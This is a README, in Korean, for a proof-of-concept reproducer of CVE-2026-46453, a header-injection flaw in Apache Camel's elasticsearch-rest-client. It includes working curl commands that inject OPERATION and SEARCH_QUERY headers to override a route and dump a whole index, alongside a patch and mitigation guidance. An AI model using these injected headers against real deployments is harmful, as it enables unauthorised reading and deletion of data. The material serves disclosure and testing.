
CVE-2026-46453 재현기 — Apache Camel camel-elasticsearch-rest-client 비접두사 헤더 주입(인바운드 HTTP 헤더를 통한 작업/쿼리 재정의)
이 프로젝트는 Apache Camel의 camel-elasticsearch-rest-client 컴포넌트에서 메시지 헤더 인젝션 / 인가 우회를 시연하며, CVE-2026-46453로 추적됩니다. 이 컴포넌트는 동작을 제어하기 위해 여러 Exchange 헤더를 읽습니다 — SEARCH_QUERY, OPERATION, INDEX_NAME, INDEX_SETTINGS, ID. 영향받는 버전에서 이 헤더들의 문자열 값은 다른 모든 컴포넌트가 사용하는 Camel 프리픽스가 붙은 이름이 아니라, 평범한(프리픽스 없는) 이름("OPERATION", "SEARCH_QUERY", …)입니다. Camel의 인바운드 HttpHeaderFilterStrategy는 Camel/camel로 시작하는 이름만 차단하므로, 이 헤더들은 인바운드 필터를 변경 없이 통과합니다. 라우트가 elasticsearch-rest-client 프로듀서 앞에 HTTP 진입점(예: platform-http)을 노출하면, 신뢰할 수 없는 HTTP 클라이언트가 이 헤더들을 직접 설정하여 라우트 작성자가 구성한 쿼리와 오퍼레이션을 재정의할 수 있습니다 — 전체 인덱스 읽기, 문서 삭제 등이 가능합니다. 자격 증명은 필요 없습니다.
공지: https://camel.apache.org/security/CVE-2026-46453.html
CVE-2025-27636, CVE-2025-29891, CVE-2025-30177, CVE-2026-40453 및 CVE-2026-47323과 동일한 헤더 인젝션 계열입니다 — 모두 기본
HeaderFilterStrategy가 차단하지 않는 인바운드 헤더를 읽는 컴포넌트에서 비롯되며, 그 이유는 이름이Camel프리픽스로 시작하지 않기 때문입니다.
// ElasticSearchRestClientConstant - affected 4.18.2 (unprefixed values)
public static final String ID = "ID";
public static final String SEARCH_QUERY = "SEARCH_QUERY";
public static final String INDEX_SETTINGS = "INDEX_SETTINGS";
public static final String INDEX_NAME = "INDEX_NAME";
public static final String OPERATION = "OPERATION";
// ElasticsearchRestClientProducer#resolveOperation - the header wins over the endpoint's configured operation
ElasticsearchRestClientOperation operation
= exchange.getMessage().getHeader(OPERATION, endpoint.getOperation(), ElasticsearchRestClientOperation.class);
HttpHeaderFilterStrategy는 Camel*/camel*만 차단하므로 인바운드 HTTP 헤더 OPERATION: SEARCH(및 SEARCH_QUERY: {...})는 통과하여 라우트 작성자의 operation=GET_BY_ID를 재정의합니다. 수정(4.14.8 / 4.18.3 / 4.21.0)은 값을 CamelElasticsearchOperation, CamelElasticsearchSearchQuery 등으로 변경하여 인바운드 필터가 차단할 수 있게 합니다(Java 필드 이름은 변경되지 않음).
from("platform-http:/products")
.to("elasticsearch-rest-client:reproducer?hostAddressesList=<host:port>&operation=GET_BY_ID&indexName=products");
// route author intends a single, safe operation: fetch one document by id
공격자의 OPERATION: SEARCH + SEARCH_QUERY: {"query":{"match_all":{}}} HTTP 요청은 이를 재정의하고 전체 인덱스를 덤프합니다.
피해자는 Camel 라우트이고, 공격자는 platform-http 엔드포인트에 도달할 수 있는 모든 HTTP 클라이언트입니다. 이 재현기는 Docker에서 실제 Elasticsearch를 실행하고 호스트에서는 Camel 앱을 실행합니다(앱은 매핑된 포트를 통해 ES와 통신합니다).
CVE-2026-46453/
├── pom.xml # camel-platform-http + camel-elasticsearch-rest-client 4.18.2
├── docker-compose.yml # Elasticsearch 8.15.3 (security disabled)
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── EsSeeder.java # seeds a "public" and a "secret" document
│ ├── VictimRoute.java # platform-http -> elasticsearch-rest-client (GET_BY_ID)
│ └── ExploitController.java # attacker: legit GET_BY_ID vs injected OPERATION=SEARCH
└── resources/
└── application.properties
docker compose up -d
# wait until ready:
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:9200/ # -> 200
mvn clean package -DskipTests
java -jar target/cve-2026-46453-elasticsearch-0.0.1-SNAPSHOT.jar
# the app seeds the 'products' index with a public and a secret document on startup
curl -s http://localhost:8080/exploit/attack
# === 1) Legitimate request (ID=public-1) ===
# {"name":"Public Widget","visibility":"public"} secret leaked: false
# === 2) Attack request (OPERATION=SEARCH, SEARCH_QUERY=match_all) ===
# [ ...public..., {"name":"CLASSIFIED-LAUNCH-CODES", ...} ] secret leaked: true
#
# >>> Header-injection proof — attacker overrode the operation and read the whole index: true
직접 수동으로도 수행할 수 있습니다 — 인젝션된 헤더는 platform-http의 인바운드 필터를 그대로 통과합니다:
# legit: route author's GET_BY_ID returns only the public doc
curl -s -H "ID: public-1" http://localhost:8080/products
# attack: override the operation and dump the whole index (incl. the secret)
curl -s -H "OPERATION: SEARCH" -H 'SEARCH_QUERY: {"query":{"match_all":{}}}' http://localhost:8080/products
docker compose down
elasticsearch-rest-client 프로듀서 앞에 HTTP 진입점을 노출하는 모든 라우트가 해당됩니다. 공격자는 인바운드 HTTP 요청에 OPERATION, SEARCH_QUERY, INDEX_NAME, INDEX_SETTINGS, 또는 ID를 설정합니다. 이들은 Camel 프리픽스 인바운드 필터를 우회하여 프로듀서에 도달합니다.
HttpHeaderFilterStrategy(Camel*만 차단)는 프리픽스 없는 ES 헤더를 차단하지 않습니다.4.14.8 / 4.18.3 / 4.21.0(CAMEL-23508)로 업그레이드하세요. 이 버전은 헤더 값에 Camel 프리픽스를 붙여 인바운드 필터가 차단할 수 있게 합니다.
업그레이드할 때까지 프로듀서 앞에서 신뢰할 수 없는 인바운드 메시지에서 영향을 받는 헤더를 제거하십시오:
.removeHeaders("SEARCH_QUERY|OPERATION|INDEX_NAME|INDEX_SETTINGS|ID")
또는 이러한 이름을 차단하는 사용자 지정 HeaderFilterStrategy를 적용하십시오.
이 재현기는 공개적으로 공개되었고 수정된 취약점에 대한 보안 연구 및 승인된 테스트 전용으로 제공됩니다. 명시적 허가 없이 시스템에 사용하지 마십시오.
| 속성 | 값 |
|---|
| 컴포넌트 | camel-elasticsearch-rest-client |
| 영향받는 상수 | ElasticSearchRestClientConstant — ID, SEARCH_QUERY, INDEX_SETTINGS, INDEX_NAME, OPERATION (프리픽스 없는 값) |
| CWE | CWE-20 (부적절한 입력 검증) + CWE-639 (사용자 제어 키를 통한 인가 우회) |
| 영향 | 신뢰할 수 없는 HTTP 클라이언트가 ES 오퍼레이션/쿼리 재정의 — 문서 읽기/삭제/유출 |
| 영향받는 버전 | 4.3.0부터 4.14.8 이전, 4.15.0부터 4.18.3 이전, 4.19.0부터 4.21.0 이전 |
| 수정된 버전 | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23508 |
| 보고자 | Yu Bao (PayPal) |